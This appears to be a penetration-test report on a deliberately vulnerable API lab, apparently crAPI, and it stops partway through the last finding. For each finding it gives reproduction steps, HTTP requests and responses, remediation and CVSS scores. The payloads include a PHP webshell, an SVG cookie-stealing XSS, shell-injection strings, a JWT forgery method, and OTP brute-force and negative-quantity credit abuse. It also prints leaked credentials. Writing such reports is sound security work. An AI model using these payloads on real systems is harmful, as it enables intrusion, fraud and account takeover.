HTTP/2 200 OK content-type: application/octet-stream server: openresty/1.27.1.2 via: 1.1 Caddy content-length: 201 DB_NAME=crapi DB_USER=crapi DB_PASSWORD=crapi DB_HOST=postgresdb DB_PORT=5432 SERVER_PORT=8080 MONGO_DB_HOST=mongodb MONGO_DB_PORT=27017 MONGO_DB_USER=crapi MONGO_DB_PASSWORD=crapi MONGO_DB_NAME=crapi
What This Proves

The server returned HTTP 200 with the complete credential file to an unauthenticated request. Both PostgreSQL (crapi:crapi@postgresdb:5432) and MongoDB (crapi:crapi@mongodb:27017) credentials are fully exposed.

Remediation
  • Remove the .env file from the web root immediately; verify .env.production, .env.local, and similar variants are also not accessible.
  • Configure OpenResty to deny all dotfile access: location ~ /\. { deny all; return 404; }
  • Rotate all exposed credentials (DB_PASSWORD, MONGO_DB_PASSWORD) immediately.
  • Use a secrets management solution (AWS Secrets Manager, HashiCorp Vault) to inject credentials at runtime.
  • Audit the web root for additional sensitive files before each deployment.
CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

HIGH

Business Logic Flaw: Negative Quantity Shop Order Grants Arbitrary Credit

Description

The shop order endpoint processes product purchases by multiplying the requested quantity by the product price and modifying the user's credit balance accordingly. The endpoint is designed to allow authenticated users to purchase items from the workshop shop using their available credit.

During testing, the team found that the quantity field is not validated to be a positive integer — negative values are accepted and processed as valid orders. Submitting a negative quantity causes the server to add credit to the user's account rather than deducting it. Phase 3 validation confirmed user2 starting at $100 credit reached $10,110 after two requests (quantity -1 and quantity -1000 for a $10 product). Zero-quantity orders are also accepted without error.

The vulnerability is present in the Django workshop service's order processing logic, which applies price × quantity without a sign check. CWE-20: Improper Input Validation / CWE-840: Business Logic Errors.

Location

POST https://aigentx-lab.komodosec.com/workshop/api/shop/orders — quantity field in JSON request body

Impact

Any authenticated user can generate unlimited store credit through a single API call, completely defeating the payment model. User2 demonstrated a $10,000 credit gain in one request. All shop items become purchasable for free, causing direct financial loss to the platform.

🔬 Proof of Concept
Replication Summary

A shop order with quantity=-1000 for a $10 product was accepted and processed, adding $10,000 to user2's credit balance in a single request. Dashboard confirmed the inflated balance.

Reproduction Steps
  1. Authenticate as any user (user2 in this test)
  2. GET /workshop/api/shop/products to identify product_id=1 at $10.00
  3. POST /workshop/api/shop/orders with {"product_id":1,"quantity":-1000}
  4. Observe credit balance increase from $110 to $10,110 ($10,000 gained)
  5. GET /identity/api/v2/user/dashboard to confirm inflated balance is persistent
Request
POST /workshop/api/shop/orders HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer <TOKEN2 — yossi+second@komodosec.com> Content-Type: application/json {"product_id":1,"quantity":-1000}
Response
HTTP/2 200 OK {"id":13,"message":"Order sent successfully.","credit":10110.0} -- Credit increased from 110.0 to 10110.0 ($10,000 gained in single request) Dashboard confirmation: GET /identity/api/v2/user/dashboard {"available_credit":10110.0,...} -- inflated balance confirmed
What This Proves

The server processed a negative-quantity order and added $10,000 to the user's balance. The credit increase is persistent (confirmed via dashboard). Any authenticated user can gain unlimited credit by submitting orders with large negative quantities.

Remediation
  • Validate that quantity is a strictly positive integer (>= 1) at the API layer; return HTTP 400 for any quantity <= 0.
  • Enforce server-side that order total = product_price × quantity must be positive before any credit transaction is applied.
  • Add integration tests covering negative, zero, and fractional quantity inputs.
  • Implement transaction anomaly detection: alert on any credit balance increase exceeding a defined threshold in a single transaction.
  • Apply database-level constraints ensuring shop order quantities cannot be negative.
CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

HIGH

Unrestricted File Upload — Dangerous File Types Accepted Including PHP Webshells

Description

The video upload endpoint accepts arbitrary file types without server-side content validation. The endpoint is intended to allow users to upload video files for their profile, which are subsequently processed by an ffmpeg backend for conversion.

During testing, the team found that PHP webshells (.php), double-extension files (.php.jpg), and SVG files with embedded JavaScript were all accepted and stored, with the server returning HTTP 200 and base64-encoding the file contents in the profileVideo field. Phase 4 validation confirmed that a file named test_shell.php containing <?php system($_GET["cmd"]); ?> was accepted and stored — the returned base64 value PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg== decodes to the exact webshell payload verbatim.

The absence of file type validation allows upload of any file regardless of content, creating a broad attack surface. CWE-434: Unrestricted Upload of File with Dangerous Type.

Location

POST https://aigentx-lab.komodosec.com/identity/api/v2/user/videos — file field (multipart/form-data)

Impact

PHP execution depends on whether the storage path is web-accessible with PHP interpretation (not confirmed, mitigating RCE). SVG files with JavaScript are confirmed to reach the dashboard and trigger stored XSS. Any file type is accepted regardless of content, creating a broad attack surface including potential RCE if storage configuration changes.

🔬 Proof of Concept
Replication Summary

A PHP webshell file (test_shell.php) was uploaded to the video endpoint. The server accepted the file and returned the stored base64-encoded webshell content. Decoding the base64 confirms the PHP payload is preserved verbatim.

Reproduction Steps
  1. Create a file named test_shell.php with content: <?php system($_GET["cmd"]); ?>
  2. POST to /identity/api/v2/user/videos with the PHP file as multipart/form-data
  3. Observe HTTP 200 response with profileVideo base64 field
  4. Decode base64 PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg== to confirm PHP webshell stored
Request
POST /identity/api/v2/user/videos HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig> Content-Type: multipart/form-data; boundary=boundary --boundary Content-Disposition: form-data; name="file"; filename="test_shell.php" Content-Type: application/x-php <?php system($_GET["cmd"]); ?> --boundary Content-Disposition: form-data; name="conversion_params" -v codec h264 --boundary--
Response
HTTP/2 200 OK cache-control: no-cache, no-store, max-age=0, must-revalidate {"id":52,"video_name":"test_shell.php","conversion_params":"-v codec h264","profileVideo":"data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg=="} -- base64 decode: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg== = <?php system($_GET["cmd"]); ?> -- Double-extension .php.jpg with image/jpeg MIME also accepted (HTTP 200)
What This Proves

The server accepted the PHP webshell without content validation. The stored base64 decodes to the exact PHP payload, confirming the file is stored as-is. MIME-type spoofing via double extension (.php.jpg) was also accepted, confirming there is no server-side content inspection.

Remediation
  • Implement server-side file type validation using magic byte inspection; reject any non-video file types.
  • Whitelist allowed extensions (.mp4, .avi, .mov, .mkv) and reject all others including .php, .svg, .html, and double-extension patterns.
  • Store uploaded files outside the web root or in blob storage (S3) with no direct HTTP execution capability.
  • Serve all uploaded files through a dedicated endpoint that sets Content-Disposition: attachment with a fixed safe Content-Type.
  • Sanitize SVG files by stripping all script elements, event handlers, and external references before storage.
CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

HIGH

Stored XSS via SVG File Upload — JavaScript Executes in Victim Browser Context

Description

The video upload endpoint accepts SVG files, which is a vector graphics format that natively supports embedded script elements and JavaScript event handler attributes. The uploaded file is stored and subsequently returned via the dashboard endpoint as a base64-encoded data URI in the video_url field.

During testing, the team found that an SVG file with an onload JavaScript event handler (<svg onload="alert(document.cookie)">) was accepted, stored, and subsequently returned in the video_url field of the dashboard response as a base64-encoded data URI. Decoding the stored value confirmed the raw JavaScript payload is preserved verbatim without any sanitization. Any frontend component that renders this data URI as an image tag src — a common pattern for profile picture or video thumbnail display — will execute the JavaScript in the victim's browser context.

CWE-79: Improper Neutralization of Input During Web Page Generation (Stored Cross-Site Scripting).

Location

POST https://aigentx-lab.komodosec.com/identity/api/v2/user/videos (upload) → GET /identity/api/v2/user/dashboard (retrieval via video_url field)

Impact

Session cookie theft, credential harvesting, UI redress attacks, and propagation to admin context. If an administrator views a user's profile containing the malicious SVG, the attacker's JavaScript executes in the admin's browser context, enabling privilege escalation.

🔬 Proof of Concept
Replication Summary

An SVG file with onload=alert(document.cookie) was uploaded and confirmed stored verbatim. The base64 in the dashboard video_url field decodes to the exact XSS payload.

Reproduction Steps
  1. Create SVG: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"><text>XSS</text></svg>
  2. POST to /identity/api/v2/user/videos with this SVG file
  3. Observe HTTP 200 with profileVideo base64 field
  4. GET /identity/api/v2/user/dashboard and decode the video_url base64 to confirm payload preserved
  5. Load the data URI in a browser to confirm XSS execution
Request
POST /identity/api/v2/user/videos HTTP/2 Authorization: Bearer <TOKEN1> Content-Type: multipart/form-data File: xss.svg Contents: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"><text>XSS via SVG Upload</text></svg>
Response
HTTP/2 200 OK {"id":52,"video_name":"xss.svg","conversion_params":"-v codec h264","profileVideo":"data:image/jpeg;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoZG9jdW1lbnQuY29va2llKSI+PHRleHQ+WFNTIHZpYSBTVkcgVXBsb2FkPC90ZXh0Pjwvc3ZnPgo="} Dashboard video_url (decoded): <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"><text>XSS via SVG Upload</text></svg> -- JavaScript payload preserved verbatim in stored data
What This Proves

The server stored the SVG with the onload event handler verbatim. The base64 in video_url decodes to the exact XSS payload. Any frontend rendering this data URI will execute the JavaScript in the user's browser context.

Remediation
  • Strip all JavaScript event handlers, <script> tags, <use> elements, and external href/src references from SVG files server-side before storage.
  • Consider rasterizing SVG uploads to PNG/JPEG to eliminate script execution risk entirely.
  • Enforce a Content-Security-Policy header that blocks inline script execution in the frontend.
  • Ensure the frontend renders video_url data URIs using img.src only, never innerHTML or dangerouslySetInnerHTML.
CVSS Score

7.1 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

HIGH

Unauthorized Coupon Creation by Regular User — Broken Function Level Authorization

Description

The coupon creation endpoint is an administrative function intended for distributing discount codes to users. The endpoint inserts a new coupon record with a specified code and monetary amount directly into the MongoDB coupon collection.

During testing, the team found that any authenticated regular user (ROLE_USER) can POST to /community/api/v2/coupon/new-coupon and insert arbitrary coupon codes with arbitrary amounts without any admin role check being performed. Phase 4 validation confirmed creation of coupon 'VALIDATE100' with amount '100', which returned "Coupon Added in database". Subsequent retrieval via validate-coupon confirmed the coupon is stored and queryable. Negative amounts were also accepted without validation.

The complete absence of authorization on an administrative write function allows any authenticated user to manipulate the platform's coupon system. CWE-285: Improper Authorization.

Location

POST https://aigentx-lab.komodosec.com/community/api/v2/coupon/new-coupon — coupon_code and amount parameters

Impact

Any authenticated user can create coupons with arbitrary values and redeem them for credit via the validate-coupon endpoint, enabling unlimited free credit accumulation. Negative-amount coupons may debit other users' balances.

🔬 Proof of Concept
Replication Summary

A regular user (ROLE_USER) created a coupon with value 100 via the new-coupon endpoint. The coupon was confirmed present in the database via the validate endpoint, with full coupon details returned.

Reproduction Steps
  1. Authenticate as any regular user
  2. POST to /community/api/v2/coupon/new-coupon with {"coupon_code":"VALIDATE100","amount":"100"}
  3. Observe "Coupon Added in database" response
  4. POST to /community/api/v2/coupon/validate-coupon with same coupon_code to confirm presence
Request
POST /community/api/v2/coupon/new-coupon HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig> (ROLE_USER) Content-Type: application/json {"coupon_code":"VALIDATE100","amount":"100"}
Response
HTTP/2 200 OK server: openresty/1.27.1.2 via: 1.1 Caddy "Coupon Added in database" -- Validation confirmation: POST /community/api/v2/coupon/validate-coupon {"coupon_code":"VALIDATE100","amount":"100"} HTTP/2 200 OK {"coupon_code":"VALIDATE100","amount":"100","CreatedAt":"2026-05-14T12:14:07.214Z"}
What This Proves

A ROLE_USER token successfully created a coupon and the coupon was confirmed present in the database. No admin role check was enforced. Negative amounts ({amount:"-100"}) were also accepted, confirming no value validation.

Remediation
  • Restrict the new-coupon endpoint to ROLE_ADMIN tokens only; return HTTP 403 for any other role.
  • Add server-side validation rejecting zero or negative coupon amounts.
  • Implement audit logging for all coupon creation and redemption events with the creating user's identity.
  • Rate-limit coupon creation and redemption to prevent automated abuse.
CVSS Score

7.1 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

HIGH

No Rate Limiting on Email Change OTP — Account Takeover via Brute Force

Description

The email change flow uses a two-step process where the user initiates a change request and then verifies ownership of the new email address via a 6-digit OTP sent to the new email. The verification endpoint is intended to confirm the OTP before completing the email change.

During testing, the team found that the verify-email-token endpoint accepts unlimited wrong OTP submissions with no rate limiting, lockout, or CAPTCHA. Five rapid consecutive attempts all returned HTTP 500 "Token did't match" with no blocking or delay. An attacker who can initiate an email change to an attacker-controlled email can brute-force the 6-digit OTP (1,000,000 possibilities) at an unconstrained rate, completing the account takeover by redirecting the account to an attacker-controlled email address.

CWE-307: Improper Restriction of Excessive Authentication Attempts.

Location

POST https://aigentx-lab.komodosec.com/identity/api/v2/user/verify-email-token — token and new_email parameters

Impact

Persistent account hijacking: once the email is changed, the original owner loses the ability to recover the account via email. Combined with the JWT non-revocation finding, both the old and new email owners retain access simultaneously during any transition window.

🔬 Proof of Concept
Replication Summary

Five consecutive OTP guesses were submitted to verify-email-token in rapid succession. All returned HTTP 500 with no rate limiting, lockout, or CAPTCHA observed.

Reproduction Steps
  1. POST to /identity/api/v2/user/change-email with old_email and new_email to trigger OTP issuance
  2. POST to /identity/api/v2/user/verify-email-token with token=000001
  3. Immediately repeat with token=000002, 000003, 000004, 000005
  4. Observe all 5 attempts returned HTTP 500 with no blocking
Request
POST /identity/api/v2/user/verify-email-token HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer <TOKEN1> Content-Type: application/json {"token":"000001","new_email":"testchange99@komodosec.com"}
Response
HTTP/2 500 {"message":"Sorry, Token did't match","status":500} Attempt 2: {"token":"000002"} -> HTTP 500 (no block) Attempt 3: {"token":"000003"} -> HTTP 500 (no block) Attempt 4: {"token":"000004"} -> HTTP 500 (no block) Attempt 5: {"token":"000005"} -> HTTP 500 (no block) 5 rapid attempts — zero throttling observed
What This Proves

All 5 rapid-fire attempts were processed with no rate limiting, lockout, or increasing delay. With no upper bound, all 1,000,000 possible 6-digit OTPs can be enumerated to complete email account takeover.

Remediation
  • Limit OTP attempts to 5 per token issuance; invalidate the token after the fifth failed attempt and require re-initiation.
  • Set a short OTP expiry (5 minutes) to narrow the brute-force window.
  • Replace the 6-digit numeric OTP with a minimum 8-character alphanumeric token to increase entropy to 36^8 (~2.8 trillion) combinations.
  • Implement exponential backoff and IP-based rate limiting at the reverse proxy layer for all OTP verification endpoints.
  • Return HTTP 429 after threshold and log/alert on repeated failures.
CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N


MEDIUM

Potential OS Command Injection via FFmpeg conversion_params (Stored Payload, Execution Unconfirmed)

Description

The video management endpoint allows updating a conversion_params field that represents arguments passed to an ffmpeg invocation during video processing. The field is intended to hold ffmpeg command-line arguments for video transcoding after a file is uploaded.

During testing, the team found that shell metacharacters including semicolons, command substitution syntax, and output redirection operators are accepted and stored without sanitization or allowlisting. Payloads including '-v codec h264; sleep 5; id #' and '-v codec h264; id > /app/static/rce_test.txt #' were stored successfully with no rejection. Timing-based and output-write tests did not confirm execution during the test window, possibly because ffmpeg execution is triggered asynchronously by a background worker not activated during testing.

This is a known intentional vulnerability in the crAPI platform. CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Location

PUT https://aigentx-lab.komodosec.com/identity/api/v2/user/videos/{video_id} — conversion_params field in JSON body

Impact

If executed: full OS command execution inside the identity service container, enabling container compromise, lateral movement to internal services, and potential access to database credentials in environment variables. Severity is Medium due to unconfirmed execution; would be Critical if execution trigger is confirmed.

🔬 Proof of Concept
Replication Summary

A conversion_params value containing shell metacharacters was stored verbatim without sanitization. Execution was not confirmed during the test window.

Reproduction Steps
  1. Upload a video via POST /identity/api/v2/user/videos to obtain a video_id
  2. PUT to /identity/api/v2/user/videos/{video_id} with conversion_params='-v codec h264; sleep 5; id #'
  3. Observe payload stored verbatim in HTTP 200 response
  4. Note: asynchronous ffmpeg execution trigger was not activated during the test window
Request
PUT /identity/api/v2/user/videos/52 HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer <TOKEN1> Content-Type: application/json {"video_name":"test.avi","conversion_params":"-v codec h264; sleep 5; id #"}
Response
HTTP/2 200 OK {"id":52,"video_name":null,"conversion_params":"-v codec h264; sleep 5; id #","profileVideo":"data:image/jpeg;base64,..."} -- Payload stored verbatim, no sanitization applied Timing test: GET /identity/api/v2/user/videos/52 returned in 0ms — sleep not executed during GET Write test: PUT with 'id > /app/static/rce_test.txt #' -> GET /static/rce_test.txt -> HTTP 404
What This Proves

Shell metacharacters are accepted and stored without sanitization. The payload will be passed to ffmpeg when video conversion is triggered. Execution was not confirmed during the synchronous test window, but the vulnerability exists in the stored parameter.

Remediation
  • Validate conversion_params against a strict allowlist of known-safe ffmpeg flags; reject any input containing semicolons, pipes, ampersands, dollar signs, backticks, or redirection operators.
  • Execute ffmpeg using an array-based exec (ProcessBuilder in Java / subprocess with list args in Python) to prevent shell interpretation of arguments.
  • Remove the conversion_params field from user input entirely; define allowed conversion profiles server-side as an enum.
  • Run the video processing worker in a sandboxed container with no network access and a seccomp profile.
CVSS Score

7.3 (Medium) — CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

MEDIUM

Verbose Spring Boot Validation Errors Disclose Framework Internals

Description

The login endpoint returns detailed Spring Boot internal error messages when submitted with a malformed or empty request body. Error messages serve the purpose of communicating validation failures to clients, but should not expose internal implementation details.

During testing, the team found that a POST with an empty JSON object ({}) returns fully-qualified Java class names (org.springframework.validation.BeanPropertyBindingResult), internal Spring constraint annotation codes, and the internal form object name (loginForm). This information enables unauthenticated fingerprinting of the exact Spring Boot framework version and internal class structure, which an attacker uses to research applicable CVEs such as Spring4Shell (CVE-2022-22965).

CWE-209: Generation of Error Message Containing Sensitive Information.

Location

POST https://aigentx-lab.komodosec.com/identity/api/auth/login — empty or malformed request body

Impact

Framework fingerprinting enables targeted CVE research. Internal model and form names may assist mass assignment and parameter pollution attacks. Accelerates attacker reconnaissance significantly.

🔬 Proof of Concept
Replication Summary

An empty JSON body {} was submitted to the login endpoint, returning a full Spring Boot internal error including Java class names and internal form object identifiers.

Reproduction Steps
  1. POST to /identity/api/auth/login with Content-Type: application/json and body {}
  2. Observe HTTP 400 response containing org.springframework.validation.BeanPropertyBindingResult
Request
POST /identity/api/auth/login HTTP/2 Host: aigentx-lab.komodosec.com Content-Type: application/json {}
Response
HTTP/2 400 Bad Request Content-Type: application/json {"message":"Validation failed","details":"org.springframework.validation.BeanPropertyBindingResult: 2 errors\nField error in object 'loginForm' on field 'password': rejected value [null]; codes [NotBlank.loginForm.password,NotBlank.password,NotBlank.java.lang.String,NotBlank]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [loginForm.password,password]; arguments []; default message [password]]; default message [must not be blank]\nField error in object 'loginForm' on field 'email': rejected value [null]; codes [NotBlank.loginForm.email,NotBlank.email,NotBlank.java.lang.String,NotBlank]..."}
What This Proves

The response discloses the fully qualified Java class org.springframework.validation.BeanPropertyBindingResult, the internal form object name 'loginForm', and Spring constraint codes confirming Spring Boot framework usage. This enables targeted CVE research and internal class mapping.

Remediation
  • Set server.error.include-message=never and server.error.include-binding-errors=never in Spring Boot application.properties.
  • Implement a global @ControllerAdvice that converts MethodArgumentNotValidException into a sanitized response without class names or binding codes.
  • Ensure the production Spring profile disables all debug and verbose error output.
CVSS Score

5.3 (Medium) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

MEDIUM

RSA Public Key Exposed via JWKS — Enables Algorithm Confusion Attacks

Description

The RSA public key used for JWT verification is publicly accessible at /.well-known/jwks.json without authentication. Public key exposure is standard for OAuth 2.0/OIDC deployments where external parties need to verify tokens, but in this context the exposed key enables algorithm confusion attacks.

During testing, the team found that the full RSA public key (RS256, kid=MKMZkDenUfuDF2byYowDj7tW5Ox6XG4Y1THTEGScRg8) is returned unauthenticated. An attacker can sign a forged token using HS256 with the RSA public key bytes as the HMAC secret, which vulnerable JWT libraries — those that allow the token header's alg value to override server configuration — would verify using the public key in symmetric mode. In the current state this finding is amplified by the confirmed JWT signature absence; after that is remediated, algorithm confusion would allow continued token forgery if library algorithm pinning is not also implemented.

CWE-327: Use of a Broken or Risky Cryptographic Algorithm.

Location

GET https://aigentx-lab.komodosec.com/.well-known/jwks.json — no authentication required

Impact

Currently amplifies the JWT forgery confirmed in this assessment. After remediation of the signature absence, a lingering algorithm confusion vulnerability would allow continued token forgery if the JWT library permits algorithm override from the token header.

🔬 Proof of Concept
Replication Summary

The JWKS endpoint returns the full RSA public key without authentication. This key can be used as the HMAC secret in an HS256 algorithm confusion attack.

Reproduction Steps
  1. GET /.well-known/jwks.json without any authentication
  2. Extract RSA public key from the n and e parameters
  3. Sign a forged JWT with alg=HS256 using the RSA public key bytes as the HMAC secret
  4. Submit to any authenticated endpoint (currently accepted due to absent signature validation)
Request
GET /.well-known/jwks.json HTTP/2 Host: aigentx-lab.komodosec.com
Response
HTTP/2 200 OK {"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"MKMZkDenUfuDF2byYowDj7tW5Ox6XG4Y1THTEGScRg8","alg":"RS256","n":"sZKrGYja9S7BkO-waOcupoGY6BQjixJkg1Uitt278NbiCSnBRw5_cmfuWFFFPgRxabBZBJwJAujnQrlgTLXnRRItM9SRO884cEXn-s4Uc8qwk6pev63qb8no6aCVY0dFpthEGtOP-3KIJ2kx2i5HNzm8d7fG3ZswZrttDVbSSTy8UjPTOr4xVw1Yyh_GzGK9i_RYBWHftDsVfKrHcgGn1F_T6W0cgcnh4KFmbyOQ7dUy8Uc6Gu8JHeHJVt2vGcn50EDtUy2YN-UnZPjCSC7vYOfd5teUR_Bf4jg8GN6UnLbr_Et8HUnz9RFBLkPIf0NiY6iRjp9ooSDkml2OGql3ww"}]}
What This Proves

The full RSA public key is returned to any unauthenticated request. This key can be used as the HS256 HMAC secret to forge JWT tokens on servers that allow algorithm override from the token header — a known algorithm confusion attack vector.

Remediation
  • After fixing JWT signature validation, pin the accepted algorithm strictly to RS256 at the library level; reject tokens presenting any other alg header value.
  • Ensure the JWT library does not allow the token's alg claim to override server-configured algorithm.
  • If JWKS is not needed for external OAuth clients, restrict access or remove the endpoint.
CVSS Score

5.3 (Medium) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

MEDIUM

Community Posts Endpoint Leaks All Users' Email Addresses and Vehicle IDs

Description

The community posts endpoint returns a full author object with each post that includes the author's registered email address and internal vehicleId UUID. The endpoint is designed to display community posts with basic author identification for the user interface.

During testing, the team found that a single authenticated request to /community/api/v2/community/posts/recent returns the email and vehicleId of every user who has posted. This enables mass PII harvesting in a single API call. The team recovered email addresses and vehicleIds for adam007, pogba006, and robot001, which were then directly used to exploit the BOLA vehicle location tracking and password reset OTP bypass vulnerabilities.

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.

Location

GET https://aigentx-lab.komodosec.com/community/api/v2/community/posts/recent — author object in response

Impact

Enables full attack chain: harvested vehicleIds unlock GPS tracking of all users; harvested emails enable targeted account takeover via password reset OTP bypass. This endpoint serves as the reconnaissance layer for multiple critical attack chains.

🔬 Proof of Concept
Replication Summary

A single authenticated GET request returned email addresses and vehicleIds for all platform users who have posted to the community.

Reproduction Steps
  1. Authenticate as any user
  2. GET /community/api/v2/community/posts/recent
  3. Observe author objects containing email and vehicleid fields for all posters
Request
GET /community/api/v2/community/posts/recent HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ5b3NzaStmaXJzdEBrb21vZG9zZWMuY29tIiwiaWF0IjoxNzc4NzUyNzYyLCJleHAiOjE3NzkzNTc1NjIsInJvbGUiOiJ1c2VyIn0.<sig>
Response
HTTP/2 200 OK {"posts":[ {"id":"FhonbQdSKkfeEnj5U3TKxR","title":"Title 3","author":{"nickname":"Robot","email":"robot001@example.com","vehicleid":"4bae9968-ec7f-4de3-a3a0-ba1b2ab5e5e5"},"authorid":3}, {"id":"ChmkCUZ4TSvoxmWHjHwJvC","title":"Title 2","author":{"nickname":"Pogba","email":"pogba006@example.com","vehicleid":"cd515c12-0fc1-48ae-8b61-9230b70a845b"},"authorid":2}, {"author":{"nickname":"Adam","email":"adam007@example.com","vehicleid":"f89b5f21-7829-45cb-a650-299a61090378"},"authorid":1}, ... ]}
What This Proves

All users' emails and vehicleIds are returned in a single API response. This data was directly used to exploit BOLA vehicle location tracking and password reset OTP bypass vulnerabilities in subsequent testing.

Remediation
  • Remove vehicleId from the author object in community post responses.
  • Replace email addresses in author objects with display nicknames or anonymized user IDs.
  • Apply data minimization: return only fields required for UI rendering (nickname, avatar URL, post creation date).
CVSS Score

5.3 (Medium) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

MEDIUM

No Rate Limiting on Authentication Endpoints — Credential Brute Force Feasible

Description

The login endpoint is the primary authentication mechanism for all platform users and does not implement rate limiting, account lockout, or CAPTCHA on authentication attempts.

During testing, the team found that 10 consecutive failed authentication attempts all returned HTTP 401 with no throttling, blocking, or increasing delay. No HTTP 429 response was observed at any attempt count. Combined with the OTP brute-force vulnerability on the reset-password endpoint (OTP 000000 accepted for any user), the platform has no brute-force protection on any authentication flow.

CWE-307: Improper Restriction of Excessive Authentication Attempts.

Location

POST https://aigentx-lab.komodosec.com/identity/api/auth/login, POST /identity/api/v2/user/forgot-password

Impact

Automated credential-stuffing attacks can succeed against accounts with weak passwords. Combined with the confirmed OTP bypass, all accounts are vulnerable to unlimited automated takeover attempts.

🔬 Proof of Concept
Replication Summary

Ten consecutive failed login attempts were made against the same email address with no rate limiting response observed at any attempt.

Reproduction Steps
  1. POST /identity/api/auth/login with invalid credentials 10 times in rapid succession
  2. Observe all 10 return HTTP 401 with no 429, no lockout, and no increasing delay
Request
POST /identity/api/auth/login HTTP/2 Host: aigentx-lab.komodosec.com Content-Type: application/json {"email":"test@test.com","password":"wrongpassword1"}
Response
HTTP/2 401 (repeated 10 times, no throttling) Attempt 1: 401 | 2: 401 | 3: 401 | 4: 401 | 5: 401 Attempt 6: 401 | 7: 401 | 8: 401 | 9: 401 | 10: 401 No HTTP 429 received at any point — no lockout, no CAPTCHA
What This Proves

10 consecutive failed authentication attempts returned HTTP 401 with no rate limiting. Automated password spraying and credential stuffing attacks are feasible without any obstacle.

Remediation
  • Implement account lockout after 5–10 consecutive failed login attempts with unlock via email verification.
  • Add rate limiting at the reverse proxy layer on all authentication endpoints: max 10 requests/minute per IP.
  • Implement CAPTCHA or bot-detection challenges after repeated failures from the same IP or for the same account.
CVSS Score

5.3 (Medium) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

MEDIUM

CORS Wildcard Policy on Workshop API Allows Cross-Origin Reads of Sensitive Data

Description

The workshop service returns Access-Control-Allow-Origin: * on all endpoints including those that return payment card data and PII. CORS headers control which origins can make cross-origin requests from a browser and read the response. The wildcard policy allows any origin to issue authenticated requests and read responses.

During testing, the team found that an OPTIONS preflight request from Origin: https://evil.com received ACAO: * allowing cross-origin reads. The preflight also exposes all HTTP methods (DELETE, GET, OPTIONS, PATCH, POST, PUT) and the Authorization header. The identity and community services do not share this misconfiguration.

CWE-942: Permissive Cross-domain Policy with Untrusted Domains.

Location

https://aigentx-lab.komodosec.com/workshop/api/* — all workshop endpoints, Access-Control-Allow-Origin response header

Impact

A malicious website can instruct a victim's browser to make authenticated API calls to the workshop service using a stored JWT and read the full payment and PII response, amplifying BOLA findings. Enables cross-origin state-changing requests if a token is obtainable.

🔬 Proof of Concept
Replication Summary

A CORS preflight from a malicious origin (https://evil.com) received Access-Control-Allow-Origin: * permitting cross-origin reads of payment data.

Reproduction Steps
  1. Send OPTIONS to /workshop/api/shop/orders/1 with Origin: https://evil.com
  2. Include Access-Control-Request-Method: GET and Access-Control-Request-Headers: Authorization
  3. Observe ACAO: * in the response
Request
OPTIONS /workshop/api/shop/orders/1 HTTP/2 Host: aigentx-lab.komodosec.com Origin: https://evil.com Access-Control-Request-Method: GET Access-Control-Request-Headers: Authorization
Response
HTTP/2 204 access-control-allow-headers: accept, authorization, content-type, user-agent, x-csrftoken, x-requested-with access-control-allow-methods: DELETE, GET, OPTIONS, PATCH, POST, PUT access-control-allow-origin: * access-control-max-age: 86400
What This Proves

The server responded with access-control-allow-origin: * confirming any origin can read responses from the workshop service, including cross-origin requests carrying Authorization headers. This allows a malicious website to use a victim's stored JWT to read their payment card data.

Remediation
